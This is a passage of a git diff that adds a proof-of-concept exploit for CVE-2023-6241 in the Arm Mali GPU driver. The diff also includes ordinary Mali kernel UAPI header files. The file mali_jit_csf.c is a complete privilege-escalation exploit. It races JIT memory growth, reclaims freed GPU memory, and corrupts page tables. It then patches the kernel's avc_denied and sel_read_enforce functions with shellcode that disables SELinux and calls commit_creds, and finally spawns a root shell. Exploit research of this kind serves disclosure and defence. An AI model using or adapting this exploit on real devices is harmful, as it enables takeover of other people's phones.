a) the size is unchanged, and b) new members only + * replace the padding bytes. + * + * Previous jit_version history: + * jit_version == 1, refer to &base_jit_alloc_info_10_2 + * jit_version == 2, refer to &base_jit_alloc_info_11_5 + * + * Kbase version history: + * 11.20: added @heap_info_gpu_addr + */ +struct base_jit_alloc_info { + __u64 gpu_alloc_addr; + __u64 va_pages; + __u64 commit_pages; + __u64 extension; + __u8 id; + __u8 bin_id; + __u8 max_allocations; + __u8 flags; + __u8 padding[2]; + __u16 usage_id; + __u64 heap_info_gpu_addr; +}; + +enum base_external_resource_access { + BASE_EXT_RES_ACCESS_SHARED, + BASE_EXT_RES_ACCESS_EXCLUSIVE +}; + +struct base_external_resource { + __u64 ext_resource; +}; + +/** + * BASE_EXT_RES_COUNT_MAX - The maximum number of external resources + * which can be mapped/unmapped in a single request. + */ +#define BASE_EXT_RES_COUNT_MAX 10 + +/** + * struct base_external_resource_list - Structure which describes a list of + * external resources. + * @count: The number of resources. + * @ext_res: Array of external resources which is + * sized at allocation time. + */ +struct base_external_resource_list { + __u64 count; + struct base_external_resource ext_res[1]; +}; + +#endif /* _UAPI_BASE_KERNEL_H_ */ diff --git a/SecurityExploits/Android/Mali/CVE_2023_6241/mali_jit_csf.c b/SecurityExploits/Android/Mali/CVE_2023_6241/mali_jit_csf.c new file mode 100644 index 0000000..724d031 --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2023_6241/mali_jit_csf.c @@ -0,0 +1,435 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "stdbool.h" +#include +#include + +//From https://github.com/KhronosGroup/OpenCL-Headers/releases/tag/v2023.04.17 +#include "CL/cl.h" +#include "mali_kbase_ioctl.h" +#include "mali_base_csf_kernel.h" +#include "mali_base_kernel.h" +#include "mem_read_write.h" +#include "mempool_utils.h" +#include "firmware_offsets.h" + +#define MALI "/dev/mali0" + +//#define GROW_SIZE 0x2000 + +#define GROW_SIZE (0x2000 - 10) + +#define FREED_NUM 1 + +#define JIT_SIZE 0x23d0 + +#define FAULT_SIZE 0x300 + +#define PTE_PAGES 0x200 + +#define PTE_SIZE (PTE_PAGES << 12) + +#define TEST_VAL 0x42424242 + +#define THRESHOLD 0x2300 + +#define REUSE_REG_SIZE 0x100 + +#define RESERVED_SIZE 32 + +#define TOTAL_RESERVED_SIZE 1024 + +static uint64_t reserved[TOTAL_RESERVED_SIZE/RESERVED_SIZE]; + +uint64_t reused_regions[REUSE_REG_SIZE] = {0}; + +static uint64_t sel_read_enforce = SEL_READ_ENFORCE_2311; + +static uint64_t avc_deny = AVC_DENY_2311; + +/* +Overwriting SELinux to permissive + strb wzr, [x0] + mov x0, #0 + ret +*/ +static uint32_t permissive[3] = {0x3900001f, 0xd2800000,0xd65f03c0}; + +static uint32_t root_code[8] = {0}; + +static int open_dev(char* name) { + int fd = open(name, O_RDWR); + if (fd == -1) { + err(1, "cannot open %s\n", name); + } + return fd; +} + +int find_mali_fd() { + int test_fd = open("/dev/null", O_RDWR); + char file_path[256]; + char proc_string[256]; + for (int i = 3; i < test_fd; i++) { + sprintf(proc_string, "/proc/self/fd/%d", i); + if(readlink(proc_string, file_path, 256) > 0) { + if (strcmp(file_path, MALI) == 0) { + close(test_fd); + return i; + } + } + } + close(test_fd); + return -1; +} + +void setup_mali(int fd, int group_id) { + + struct kbase_ioctl_version_check param = {0}; + if (ioctl(fd, KBASE_IOCTL_VERSION_CHECK, ¶m) < 0) { + LOG("major %d\n", param.major); + err(1, "version check failed\n"); + } + + struct kbase_ioctl_set_flags set_flags = {group_id << 3}; + if (ioctl(fd, KBASE_IOCTL_SET_FLAGS, &set_flags) < 0) { + err(1, "set flags failed\n"); + } +} + +void* setup_tracking_page(int fd) { + void* region = mmap(NULL, 0x1000, 0, MAP_SHARED, fd, BASE_MEM_MAP_TRACKING_HANDLE); + if (region == MAP_FAILED) { + err(1, "setup tracking page failed"); + } + return region; +} + +void mem_query(int fd, union kbase_ioctl_mem_query* query) { + if (ioctl(fd, KBASE_IOCTL_MEM_QUERY, query) < 0) { + err(1, "mem_query failed\n"); + } +} + +void mem_commit(int fd, uint64_t gpu_addr, uint64_t pages) { + struct kbase_ioctl_mem_commit commit = {.gpu_addr = gpu_addr, pages = pages}; + if (ioctl(fd, KBASE_IOCTL_MEM_COMMIT, &commit) < 0) { + LOG("commit failed\n"); + } +} + +uint64_t get_mem_size(int fd, uint64_t gpu_addr) { + union kbase_ioctl_mem_query query = {0}; + query.in.query = KBASE_MEM_QUERY_COMMIT_SIZE; + query.in.gpu_addr = gpu_addr; + mem_query(fd, &query); + return query.out.value; +} + +void queue_register(int fd, uint64_t queue_addr, uint32_t queue_pages) { + struct kbase_ioctl_cs_queue_register reg = {0}; + reg.buffer_gpu_addr = queue_addr; + reg.buffer_size = queue_pages; + if (ioctl(fd, KBASE_IOCTL_CS_QUEUE_REGISTER, ®) < 0) { + err(1, "register queue failed\n"); + } +} + +uint64_t queue_bind(int fd, uint64_t queue_addr, uint8_t group_handle, uint8_t csi_index) { + union kbase_ioctl_cs_queue_bind bind = {0}; + bind.in.buffer_gpu_addr = queue_addr; + bind.in.group_handle = group_handle; + bind.in.csi_index = csi_index; + if (ioctl(fd, KBASE_IOCTL_CS_QUEUE_BIND, &bind) < 0) { + err(1, "bind queue failed\n"); + } + return bind.out.mmap_handle; +} + +uint8_t kcpu_queue_new(int fd) { + struct kbase_ioctl_kcpu_queue_new queue_new = {0}; + if (ioctl(fd, KBASE_IOCTL_KCPU_QUEUE_CREATE, &queue_new) < 0) { + err(1, "kcpu queue create failed\n"); + } + return queue_new.id; +} + +void jit_init(int fd, uint64_t va_pages, uint64_t trim_level, int group_id) { + struct kbase_ioctl_mem_jit_init init = {0}; + init.va_pages = va_pages; + init.max_allocations = 255; + init.trim_level = trim_level; + init.group_id = group_id; + init.phys_pages = va_pages; + + if (ioctl(fd, KBASE_IOCTL_MEM_JIT_INIT, &init) < 0) { + err(1, "jit init failed\n"); + } +} + +uint64_t jit_allocate(int fd, uint8_t queue_id, uint8_t jit_id, uint64_t va_pages, uint64_t commit_pages, uint8_t bin_id, uint16_t usage_id, uint64_t gpu_alloc_addr) { + *((uint64_t*)gpu_alloc_addr) = 0; + struct base_jit_alloc_info info = {0}; + info.id = jit_id; + info.gpu_alloc_addr = gpu_alloc_addr; + info.va_pages = va_pages; + info.commit_pages = commit_pages; + info.extension = 1; + info.bin_id = bin_id; + info.usage_id = usage_id; + + struct base_kcpu_command_jit_alloc_info jit_alloc_info = {0}; + jit_alloc_info.info = (uint64_t)(&info); + jit_alloc_info.count = 1; + struct base_kcpu_command cmd = {0}; + cmd.info.jit_alloc = jit_alloc_info; + cmd.type = BASE_KCPU_COMMAND_TYPE_JIT_ALLOC; + struct kbase_ioctl_kcpu_queue_enqueue enq = {0}; + enq.id = queue_id; + enq.nr_commands = 1; + enq.addr = (uint64_t)(&cmd); + if (ioctl(fd, KBASE_IOCTL_KCPU_QUEUE_ENQUEUE, &enq) < 0) { + err(1, "jit allocate failed\n"); + } + volatile uint64_t ret = *((uint64_t*)gpu_alloc_addr); + while (ret == 0) { + ret = *((uint64_t*)gpu_alloc_addr); + } + return ret; +} + +void jit_free(int fd, uint8_t queue_id, uint8_t jit_id) { + uint8_t free_id = jit_id; + struct base_kcpu_command_jit_free_info info = {0}; + info.ids = (uint64_t)(&free_id); + info.count = 1; + struct base_kcpu_command cmd = {0}; + cmd.info.jit_free = info; + cmd.type = BASE_KCPU_COMMAND_TYPE_JIT_FREE; + struct kbase_ioctl_kcpu_queue_enqueue enq = {0}; + enq.id = queue_id; + enq.nr_commands = 1; + enq.addr = (uint64_t)(&cmd); + if (ioctl(fd, KBASE_IOCTL_KCPU_QUEUE_ENQUEUE, &enq) < 0) { + err(1, "jit free failed\n"); + } +} + +void* jit_grow(void* args) { + uint64_t* arguments = (uint64_t*)args; + int mali_fd = arguments[0]; + int qid = arguments[1]; + int jit_id = arguments[2]; + uint64_t gpu_alloc_addr = arguments[3]; + uint64_t addr = jit_allocate(mali_fd, qid, jit_id, JIT_SIZE, GROW_SIZE, 1, 1, gpu_alloc_addr); + LOG("jit_grow addr %lx\n", addr); + return NULL; +} + +void create_reuse_regions(int mali_fd, uint64_t* reuse_regions, size_t size) { + for (int i = 0; i < size; i++) { + reuse_regions[i] = (uint64_t)map_gpu(mali_fd, 1, 1, false, 0); + memset((void*)(reused_regions[i]), 0, 0x1000); + } +} + +uint64_t find_reused_page(uint64_t* reuse_regions, size_t size) { + for (int i = 0; i < size; i++) { + uint64_t* region_start = (uint64_t*)(reused_regions[i]); + for (int j = 0; j < 0x1000/sizeof(uint64_t); j++) { + if (region_start[j] == TEST_VAL) { + LOG("found reused page %lx, %d\n", (uint64_t)region_start, j); + return (uint64_t)region_start; + } + } + } + return -1; +} + +int find_pgd(int mali_fd, uint64_t gpu_addr, cl_command_queue command_queue, struct rw_mem_kernel* kernel, uint64_t* out) { + int ret = -1; + uint64_t read_addr = gpu_addr; + for (int i = 0; i < 0x1000/8; i++) { + uint64_t entry = read_from(mali_fd, &read_addr, command_queue, kernel); + read_addr += 8; + if ((entry & 0x443) == 0x443) { + *out = entry; + return i; + } + } + return ret; +} + +void write_shellcode(int mali_fd, uint64_t pgd, uint64_t* reserved, cl_command_queue command_queue, struct rw_mem_kernel* kernel, struct rw_mem_kernel* kernel32) { + uint64_t avc_deny_addr = (((avc_deny + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; + uint64_t overwrite_index = pgd + OVERWRITE_INDEX * sizeof(uint64_t); + write_to(mali_fd, &overwrite_index, &avc_deny_addr, command_queue, kernel); + + usleep(100000); + //Go through the reserve pages addresses to write to avc_denied with our own shellcode + write_func(mali_fd, avc_deny, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(permissive[0]), sizeof(permissive)/sizeof(uint32_t), RESERVED_SIZE, command_queue, kernel32); + + //Triggers avc_denied to disable SELinux + open("/dev/kmsg", O_RDONLY); + + uint64_t sel_read_enforce_addr = (((sel_read_enforce + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443; + write_to(mali_fd, &overwrite_index, &sel_read_enforce_addr, command_queue, kernel); + + //Call commit_creds to overwrite process credentials to gain root + write_func(mali_fd, sel_read_enforce, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t), RESERVED_SIZE, command_queue, kernel32); +} + +int main() { + setbuf(stdout, NULL); + setbuf(stderr, NULL); + + fixup_root_shell(INIT_CRED_2311, COMMIT_CREDS_2311, SEL_READ_ENFORCE_2311, ADD_INIT_2311, ADD_COMMIT_2311, &(root_code[0])); + cl_platform_id platform_id = NULL; + cl_device_id device_id = NULL; + cl_uint ret_num_devices; + cl_uint ret_num_platforms; + + cl_int ret = clGetPlatformIDs(1, &platform_id, &ret_num_platforms); + if (ret != CL_SUCCESS) { + err(1, "fail to get platform\n"); + } + int mali_fd = find_mali_fd(); + LOG("mali_fd %d\n", mali_fd); + + uint8_t qid = kcpu_queue_new(mali_fd); + void* gpu_alloc_addr = map_gpu(mali_fd, 1, 1, false, 0); + memset(gpu_alloc_addr, 0, 0x1000); + + uint64_t test_jit_id = 1; + uint64_t test_jit_addr = jit_allocate(mali_fd, qid, test_jit_id, 1, 0, 0, 0, (uint64_t)gpu_alloc_addr); + uint64_t remainder = test_jit_addr % PTE_SIZE; + if (remainder) { + test_jit_id++; + jit_allocate(mali_fd, qid, test_jit_id, (PTE_PAGES + 1 - (remainder >> 12)), 0, 0, 0, (uint64_t)gpu_alloc_addr); + } + + uint64_t corrupted_jit_id = test_jit_id + 1; + uint64_t second_jit_id = corrupted_jit_id + 1; + + uint64_t corrupted_jit_addr = jit_allocate(mali_fd, qid, corrupted_jit_id, JIT_SIZE, 1, 1, 1, (uint64_t)gpu_alloc_addr); + + LOG("corrupted_jit_addr %lx\n", corrupted_jit_addr); + + jit_free(mali_fd, qid, corrupted_jit_id); + + ret = clGetDeviceIDs( platform_id, CL_DEVICE_TYPE_DEFAULT, 1, + &device_id, &ret_num_devices); + if (ret != CL_SUCCESS) { + err(1, "fail to get Device ID\n"); + } + + cl_context context = clCreateContext( NULL, 1, &device_id, NULL, NULL, &ret); + if (ret != CL_SUCCESS) { + err(1, "fail to create context\n"); + } + + cl_command_queue command_queue = clCreateCommandQueueWithProperties(context, device_id, NULL, &ret); + if (ret != CL_SUCCESS) { + err(1, "fail to create command_queue\n"); + } + + + uint64_t write_addr = corrupted_jit_addr + FAULT_SIZE * 0x1000; + uint64_t value = 32; + uint64_t write = 1; + + struct rw_mem_kernel kernel = create_rw_mem(context, &device_id, true); + struct rw_mem_kernel kernel32 = create_rw_mem(context, &device_id, false); + + ret = clEnqueueWriteBuffer(command_queue, kernel.va, CL_TRUE, 0, sizeof(uint64_t), &write_addr, 0, NULL, NULL); + ret = clEnqueueWriteBuffer(command_queue, kernel.in_out, CL_TRUE, 0, sizeof(uint64_t), &value, 0, NULL, NULL); + ret = clEnqueueWriteBuffer(command_queue, kernel.flag, CL_TRUE, 0, sizeof(uint64_t), &write, 0, NULL, NULL); + + if (ret != CL_SUCCESS) { + err(1, "Failed to write to buffer\n"); + } + + size_t global_work_size = 1; + size_t local_work_size = 1; + LOG("queue kernel\n"); + pthread_t thread; + uint64_t args[4]; + args[0] = mali_fd; + args[1] = qid; + args[2] = corrupted_jit_id; + args[3] = (uint64_t)gpu_alloc_addr; + + pthread_create(&thread, NULL, &jit_grow, (void*)&(args[0])); + ret = clEnqueueNDRangeKernel(command_queue, kernel.kernel, 1, NULL, &global_work_size, &local_work_size, 0, NULL, NULL); + if (ret != CL_SUCCESS) { + err(1, "Failed to enqueue kernel\n"); + } + usleep(10000); + ret = clFlush(command_queue); + + pthread_join(thread, NULL); + uint64_t region_size = get_mem_size(mali_fd, corrupted_jit_addr); + LOG("Size after grow: %lx\n", region_size); + + write_addr = corrupted_jit_addr + (FAULT_SIZE + GROW_SIZE + 0xd0) * 0x1000; + write_to(mali_fd, &write_addr, &value, command_queue, &kernel); + + uint64_t final_grow_size = get_mem_size(mali_fd, corrupted_jit_addr); + LOG("Final grow size: %lx\n", final_grow_size); + + uint64_t keep_alive_jit_addr = jit_allocate(mali_fd, qid, second_jit_id + 1, 10, 10, 0, 0, (uint64_t)gpu_alloc_addr); + LOG("keep alive jit_addr %lx\n", keep_alive_jit_addr); + + jit_free(mali_fd, qid, corrupted_jit_id); + usleep(10000); + uint64_t trimmed_size = get_mem_size(mali_fd, corrupted_jit_addr); + LOG("Size after free: %lx, trim_level %lu\n", trimmed_size, 100 - (trimmed_size * 100)/final_grow_size); + + uint64_t reclaim_addr = jit_allocate(mali_fd, qid, corrupted_jit_id, JIT_SIZE, trimmed_size, 1, 1, (uint64_t)gpu_alloc_addr); + if (reclaim_addr != corrupted_jit_addr) { + err(1, "Inconsistent address when reclaiming freed jit region %lx %lx\n", reclaim_addr, corrupted_jit_addr); + } + + create_reuse_regions(mali_fd, &(reused_regions[0]), REUSE_REG_SIZE); + + value = TEST_VAL; + write_addr = corrupted_jit_addr + (THRESHOLD) * 0x1000; + LOG("writing to gpu_va %lx\n", write_addr); + write_to(mali_fd, &write_addr, &value, command_queue, &kernel); + + uint64_t reused_addr = find_reused_page(&(reused_regions[0]), REUSE_REG_SIZE); + if (reused_addr == -1) { + err(1, "Cannot find reused page\n"); + } + reserve_pages(mali_fd, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0])); + uint64_t drain = drain_mem_pool(mali_fd); + release_mem_pool(mali_fd, drain); + + mem_commit(mali_fd, reused_addr, 0); + map_reserved(mali_fd, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0])); + + uint64_t entry = 0; + int res = find_pgd(mali_fd, write_addr, command_queue, &kernel, &entry); + if (res == -1) { + err(1, "Cannot find page table entry\n"); + } + LOG("pgd entry found at index %d %lx\n", res, entry); + + write_shellcode(mali_fd, write_addr, &(reserved[0]), command_queue, &kernel, &kernel32); + run_enforce(); + cleanup(mali_fd, write_addr, command_queue, &kernel); + + ret = clFinish(command_queue); + releaseKernel(&kernel); + releaseKernel(&kernel32); + ret = clReleaseCommandQueue(command_queue); + ret = clReleaseContext(context); + system("sh"); + } diff --git a/SecurityExploits/Android/Mali/CVE_2023_6241/mali_kbase_csf_ioctl.h b/SecurityExploits/Android/Mali/CVE_2023_6241/mali_kbase_csf_ioctl.h new file mode 100644 index 0000000..91249ca --- /dev/null +++ b/SecurityExploits/Android/Mali/CVE_2023_6241/mali_kbase_csf_ioctl.h @@ -0,0 +1,556 @@ +/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ +/* + * + * (C) COPYRIGHT 2020-2022 ARM Limited. All rights reserved. + * + * This program is free software and is provided to you under the terms of the + * GNU General Public License version 2 as published by the Free Software + * Foundation, and any use by you of this program is subject to the terms + * of such GNU license. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, you can access it online at + * http://www.gnu.org/licenses/gpl-2.0.html. + * + */ + +#ifndef _UAPI_KBASE_CSF_IOCTL_H_ +#define _UAPI_KBASE_CSF_IOCTL_H_ + +#include +#include + +/* + * 1.0: + * - CSF IOCTL header separated from JM + * 1.1: + * - Add a new priority level BASE_QUEUE_GROUP_PRIORITY_REALTIME + * - Add ioctl 54: This controls the priority setting. + * 1.2: + * - Add new CSF GPU_FEATURES register into the property structure + * returned by KBASE_IOCTL_GET_GPUPROPS + * 1.3: + * - Add __u32 group_uid member to + * &struct_kbase_ioctl_cs_queue_group_create.out + * 1.4: + * - Replace padding in kbase_ioctl_cs_get_glb_iface with + * instr_features member of same size + * 1.5: + * - Add ioctl 40: kbase_ioctl_cs_queue_register_ex, this is a new + * queue registration call with extended format for supporting CS + * trace configurations with CSF trace_command. + * 1.6: + * - Added new HW performance counters interface to all GPUs. + * 1.7: + * - Added reserved field to QUEUE_GROUP_CREATE ioctl for future use + * 1.8: + * - Removed Kernel legacy HWC interface + * 1.9: + * - Reorganization of GPU-VA memory zones, including addition of + * FIXED_VA zone and auto-initialization of EXEC_VA zone. + * - Added new Base memory allocation interface + * 1.10: + * - First release of new HW performance counters interface. + * 1.11: + * - Dummy model (no mali) backend will now clear HWC values after each sample + * 1.12: + * - Added support for incremental rendering flag in CSG create call + * 1.13: + * - Added ioctl to query a register of USER page. + * 1.14: + * - Added support for passing down the buffer descriptor VA in tiler heap init + */ + +#define BASE_UK_VERSION_MAJOR 1 +#define BASE_UK_VERSION_MINOR 14 + +/** + * struct kbase_ioctl_version_check - Check version compatibility between + * kernel and userspace + * + * @major: Major version number + * @minor: Minor version number + */ +struct kbase_ioctl_version_check { + __u16 major; + __u16 minor; +}; + +#define KBASE_IOCTL_VERSION_CHECK_RESERVED \ + _IOWR(KBASE_IOCTL_TYPE, 0, struct kbase_ioctl_version_check) + +/** + * struct kbase_ioctl_cs_queue_register - Register a GPU command queue with the + * base back-end + * + * @buffer_gpu_addr: GPU address of the buffer backing the queue + * @buffer_size: Size of the buffer in bytes + * @priority: Priority of the queue within a group when run within a process + * @padding: Currently unused, must be zero + * + * Note: There is an identical sub-section in kbase_ioctl_cs_queue_register_ex. + * Any change of this struct should also be mirrored to the latter. + */ +struct kbase_ioctl_cs_queue_register { + __u64 buffer_gpu_addr; + __u32 buffer_size; + __u8 priority; + __u8 padding[3]; +}; + +#define KBASE_IOCTL_CS_QUEUE_REGISTER \ + _IOW(KBASE_IOCTL_TYPE, 36, struct kbase_ioctl_cs_queue_register) + +/** + * struct kbase_ioctl_cs_queue_kick - Kick the GPU command queue group scheduler + * to notify that a queue has been updated + * + * @buffer_gpu_addr: GPU address of the buffer backing the queue + */ +struct kbase_ioctl_cs_queue_kick { + __u64 buffer_gpu_addr; +}; + +#define KBASE_IOCTL_CS_QUEUE_KICK \ + _IOW(KBASE_IOCTL_TYPE, 37, struct kbase_ioctl_cs_queue_kick) + +/** + * union kbase_ioctl_cs_queue_bind - Bind a GPU command queue to a group + * + * @in: Input parameters + * @in.buffer_gpu_addr: GPU address of the buffer backing the queue + * @in.group_handle: Handle of the group to which the queue should be bound + * @in.csi_index: Index of the CSF interface the queue should be bound to + * @in.padding: Currently unused, must be zero + * @out: Output parameters + * @out.mmap_handle: Handle to be used for creating the mapping of CS + * input/output pages + */ +union kbase_ioctl_cs_queue_bind { + struct { + __u64 buffer_gpu_addr; + __u8 group_handle; + __u8 csi_index; + __u8 padding[6]; + } in; + struct { + __u64 mmap_handle; + } out; +}; + +#define KBASE_IOCTL_CS_QUEUE_BIND \ + _IOWR(KBASE_IOCTL_TYPE, 39, union kbase_ioctl_cs_queue_bind) + +/** + * struct kbase_ioctl_cs_queue_register_ex - Register a GPU command queue with the + * base back-end in extended format, + * involving trace buffer configuration + * + * @buffer_gpu_addr: GPU address of the buffer backing the queue + * @buffer_size: Size of the buffer in bytes + * @priority: Priority of the queue within a group when run within a process + * @padding: Currently unused, must be zero + * @ex_offset_var_addr: GPU address of the trace buffer write offset variable + * @ex_buffer_base: Trace buffer GPU base address for the queue + * @ex_buffer_size: Size of the trace buffer in bytes + * @ex_event_size: Trace event write size, in log2 designation + * @ex_event_state: Trace event states configuration + * @ex_padding: Currently unused, must be zero + * + * Note: There is an identical sub-section at the start of this struct to that + * of @ref kbase_ioctl_cs_queue_register. Any change of this sub-section + * must also be mirrored to the latter. Following the said sub-section, + * the remaining fields forms the extension, marked with ex_*. + */ +struct kbase_ioctl_cs_queue_register_ex { + __u64 buffer_gpu_addr; + __u32 buffer_size; + __u8 priority; + __u8 padding[3]; + __u64 ex_offset_var_addr; + __u64 ex_buffer_base; + __u32 ex_buffer_size; + __u8 ex_event_size; + __u8 ex_event_state; + __u8 ex_padding[2]; +}; + +#define KBASE_IOCTL_CS_QUEUE_REGISTER_EX \ + _IOW(KBASE_IOCTL_TYPE, 40, struct kbase_ioctl_cs_queue_register_ex) + +/** + * struct kbase_ioctl_cs_queue_terminate - Terminate a GPU command queue + * + * @buffer_gpu_addr: GPU address of the buffer backing the queue + */ +struct kbase_ioctl_cs_queue_terminate { + __u64 buffer_gpu_addr; +}; + +#define KBASE_IOCTL_CS_QUEUE_TERMINATE \ + _IOW(KBASE_IOCTL_TYPE, 41, struct kbase_ioctl_cs_queue_terminate) + +/** + * union kbase_ioctl_cs_queue_group_create_1_6 - Create a GPU command queue + * group + * @in: Input parameters + * @in.tiler_mask: Mask of tiler endpoints the group is allowed to use. + * @in.fragment_mask: Mask of fragment endpoints the group is allowed to use. + * @in.compute_mask: Mask of compute endpoints the group is allowed to use. + * @in.cs_min: Minimum number of CSs required. + * @in.priority: Queue group's priority within a process. + * @in.tiler_max: Maximum number of tiler endpoints the group is allowed + * to use. + * @in.fragment_max: Maximum number of fragment endpoints the group is + * allowed to use. + * @in.compute_max: Maximum number of compute endpoints the group is allowed + * to use. + * @in.padding: Currently unused, must be zero + * @out: Output parameters + * @out.group_handle: Handle of a newly created queue group. + * @out.padding: Currently unused, must be zero + * @out.group_uid: UID of the queue group available to base. + */ +union kbase_ioctl_cs_queue_group_create_1_6 { + struct { + __u64 tiler_mask; + __u64 fragment_mask; + __u64 compute_mask; + __u8 cs_min; + __u8 priority; + __u8 tiler_max; + __u8 fragment_max; + __u8 compute_max; + __u8 padding[3]; + + } in; + struct { + __u8 group_handle; + __u8 padding[3]; + __u32 group_uid; + } out; +}; + +#define KBASE_IOCTL_CS_QUEUE_GROUP_CREATE_1_6 \ + _IOWR(KBASE_IOCTL_TYPE, 42, union kbase_ioctl_cs_queue_group_create_1_6) + +/** + * union kbase_ioctl_cs_queue_group_create - Create a GPU command queue group + * @in: Input parameters + * @in.tiler_mask: Mask of tiler endpoints the group is allowed to use. + * @in.fragment_mask: Mask of fragment endpoints the group is allowed to use. + * @in.compute_mask: Mask of compute endpoints the group is allowed to use. + * @in.cs_min: Minimum number of CSs required. + * @in.priority: Queue group's priority within a process. + * @in.tiler_max: Maximum number of tiler endpoints the group is allowed + * to use. + * @in.fragment_max: Maximum number of fragment endpoints the group is + * allowed to use. + * @in.compute_max: Maximum number of compute endpoints the group is allowed + * to use. + * @in.csi_handlers: Flags to signal that the application intends to use CSI + * exception handlers in some linear buffers to deal with + * the given exception types. + * @in.padding: Currently unused, must be zero + * @out: Output parameters + * @out.group_handle: Handle of a newly created queue group. + * @out.padding: Currently unused, must be zero + * @out.group_uid: UID of the queue group available to base. + */ +union kbase_ioctl_cs_queue_group_create { + struct { + __u64 tiler_mask; + __u64 fragment_mask; + __u64 compute_mask; + __u8 cs_min; + __u8 priority; + __u8 tiler_max; + __u8 fragment_max; + __u8 compute_max; + __u8 csi_handlers; + __u8 padding[2]; + /** + * @in.reserved: Reserved + */ + __u64 reserved; + } in; + struct { + __u8 group_handle; + __u8 padding[3]; + __u32 group_uid; + } out; +}; + +#define KBASE_IOCTL_CS_QUEUE_GROUP_CREATE \ + _IOWR(KBASE_IOCTL_TYPE, 58, union kbase_ioctl_cs_queue_group_create) + +/** + * struct kbase_ioctl_cs_queue_group_term - Terminate a GPU command queue group + * + * @group_handle: Handle of the queue group to be terminated + * @padding: Padding to round up to a multiple of 8 bytes, must be zero + */ +struct kbase_ioctl_cs_queue_group_term { + __u8 group_handle; + __u8 padding[7]; +}; + +#define KBASE_IOCTL_CS_QUEUE_GROUP_TERMINATE \ + _IOW(KBASE_IOCTL_TYPE, 43, struct kbase_ioctl_cs_queue_group_term) + +#define KBASE_IOCTL_CS_EVENT_SIGNAL \ + _IO(KBASE_IOCTL_TYPE, 44) + +typedef __u8 base_kcpu_queue_id; /* We support up to 256 active KCPU queues */ + +/** + * struct kbase_ioctl_kcpu_queue_new - Create a KCPU command queue + * + * @id: ID of the new command queue returned by the kernel + * @padding: Padding to round up to a multiple of 8 bytes, must be zero + */ +struct kbase_ioctl_kcpu_queue_new { + base_kcpu_queue_id id; + __u8 padding[7]; +}; + +#define KBASE_IOCTL_KCPU_QUEUE_CREATE \ + _IOR(KBASE_IOCTL_TYPE, 45, struct kbase_ioctl_kcpu_queue_new) + +/** + * struct kbase_ioctl_kcpu_queue_delete - Destroy a KCPU command queue + * + * @id: ID of the command queue to be destroyed + * @padding: Padding to round up to a multiple of 8 bytes, must be zero + */ +struct kbase_ioctl_kcpu_queue_delete { + base_kcpu_queue_id id; + __u8 padding[7]; +}; + +#define KBASE_IOCTL_KCPU_QUEUE_DELETE \ + _IOW(KBASE_IOCTL_TYPE, 46, struct kbase_ioctl_kcpu_queue_delete) + +/** + * struct kbase_ioctl_kcpu_queue_enqueue - Enqueue commands into the KCPU queue + * + * @addr: Memory address of an array of struct base_kcpu_queue_command + * @nr_commands: Number of commands in the array + * @id: kcpu queue identifier, returned by KBASE_IOCTL_KCPU_QUEUE_CREATE ioctl + * @padding: Padding to round up to a multiple of 8 bytes, must be zero + */ +struct kbase_ioctl_kcpu_queue_enqueue { + __u64 addr; + __u32 nr_commands; + base_kcpu_queue_id id; + __u8 padding[3]; +}; + +#define KBASE_IOCTL_KCPU_QUEUE_ENQUEUE \ + _IOW(KBASE_IOCTL_TYPE, 47, struct kbase_ioctl_kcpu_queue_enqueue) + +/** + * union kbase_ioctl_cs_tiler_heap_init - Initialize chunked tiler memory heap + * @in: Input parameters + * @in.chunk_size: Size of each chunk. + * @in.initial_chunks: Initial number of chunks that heap will be created with. + * @in.max_chunks: Maximum number of chunks that the heap is allowed to use. + * @in.target_in_flight: Number of render-passes that the driver should attempt to + * keep in flight for which allocation of new chunks is + * allowed. + * @in.group_id: Group ID to be used for physical allocations. + * @in.padding: Padding + * @in.buf_desc_va: Buffer descriptor GPU VA for tiler heap reclaims. + * @out: Output parameters + * @out.gpu_heap_va: GPU VA (virtual address) of Heap context that was set up + * for the heap. + * @out.first_chunk_va: GPU VA of the first chunk allocated for the heap, + * actually points to the header of heap chunk and not to + * the low address of free memory in the chunk. + */ +union kbase_ioctl_cs_tiler_heap_init { + struct { + __u32 chunk_size; + __u32 initial_chunks; + __u32 max_chunks; + __u16 target_in_flight; + __u8 group_id; + __u8 padding; + __u64 buf_desc_va; + } in; + struct { + __u64 gpu_heap_va; + __u64 first_chunk_va; + } out; +}; + +#define KBASE_IOCTL_CS_TILER_HEAP_INIT \ + _IOWR(KBASE_IOCTL_TYPE, 48, union kbase_ioctl_cs_tiler_heap_init) + +/** + * union kbase_ioctl_cs_tiler_heap_init_1_13 - Initialize chunked tiler memory heap, + * earlier version upto 1.13 + * @in: Input parameters + * @in.chunk_size: Size of each chunk. + * @in.initial_chunks: Initial number of chunks that heap will be created with. + * @in.max_chunks: Maximum number of chunks that the heap is allowed to use. + * @in.target_in_flight: Number of render-passes that the driver should attempt to + * keep in flight for which allocation of new chunks is + * allowed. + * @in.group_id: Group ID to be used for physical allocations. + * @in.padding: Padding + * @out: Output parameters + * @out.gpu_heap_va: GPU VA (virtual address) of Heap context that was set up + * for the heap. + * @out.first_chunk_va: GPU VA of the first chunk allocated for the heap, + * actually points to the header of heap chunk and not to + * the low address of free memory in the chunk. + */ +union kbase_ioctl_cs_tiler_heap_init_1_13 { + struct { + __u32 chunk_size; + __u32 initial_chunks; + __u32 max_chunks; + __u16 target_in_flight; + __u8 group_id; + __u8 padding; + } in; + struct { + __u64 gpu_heap_va; + __u64 first_chunk_va; + } out; +}; + +#define KBASE_IOCTL_CS_TILER_HEAP_INIT_1_13 \ + _IOWR(KBASE_IOCTL_TYPE, 48, union kbase_ioctl_cs_tiler_heap_init_1_13) + 